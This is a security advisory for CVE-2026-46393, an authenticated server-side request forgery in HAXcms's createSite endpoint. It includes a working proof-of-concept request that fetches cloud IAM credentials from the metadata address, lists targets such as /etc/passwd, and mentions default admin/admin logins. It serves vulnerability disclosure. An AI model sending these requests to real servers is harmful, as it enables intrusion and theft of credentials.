CVE-2026-46393

Description

### Summary An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. ### Details The `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`. The data flow is as follows: - User input (`build.files`) is processed via `object_to_array()` into a PHP array - Assigned to `$filesToDownload` in `Operations.php` (line 2626) - Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled In `HAXCMSFile.php` (line 30), the following occurs: ```php file_get_contents($upload['tmp_name']); ``` Here, tmp_name is attacker-controlled and may contain: - External URLs (`http://attacker.com`) - Internal services (`http://127.0.0.1`) - Cloud metadata endpoints (`http://169.254.169.254`) - Local file paths (`/etc/passwd`, `/proc/self/environ`) The bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled. There are no restrictions on: - URL schemes (`http`, `file`, `gopher`, etc.) - Destination IP ranges (internal, loopback, metadata services) - Response content All fetched content is written to: ``` sites/<sitename>/files/<filename> ``` and is accessible via the web. ### PoC Prerequisites: - Authenticated session (default credentials: `admin/admin` on fresh installs) - Valid JWT and CSRF token Step 1: Log in and capture JWT + CSRF token Step 2: Send crafted request: ``` POST /createSite HTTP/1.1 Host: target Authorization: Bearer [JWT] X-CSRF-Token: [TOKEN] Content-Type: application/json { "site": { "name": "poc" }, "build": { "files": { "poc.txt": { "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } ``` Step 3: Retrieve response: ``` GET /sites/poc/files/poc.txt ``` The response will contain the fetched content (e.g., cloud credentials or internal service data). ### Impact - SSRF enabling access to internal network services - Arbitrary file read via local filesystem paths - Cloud credential exposure through metadata endpoints - Data exfiltration via web-accessible file storage Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.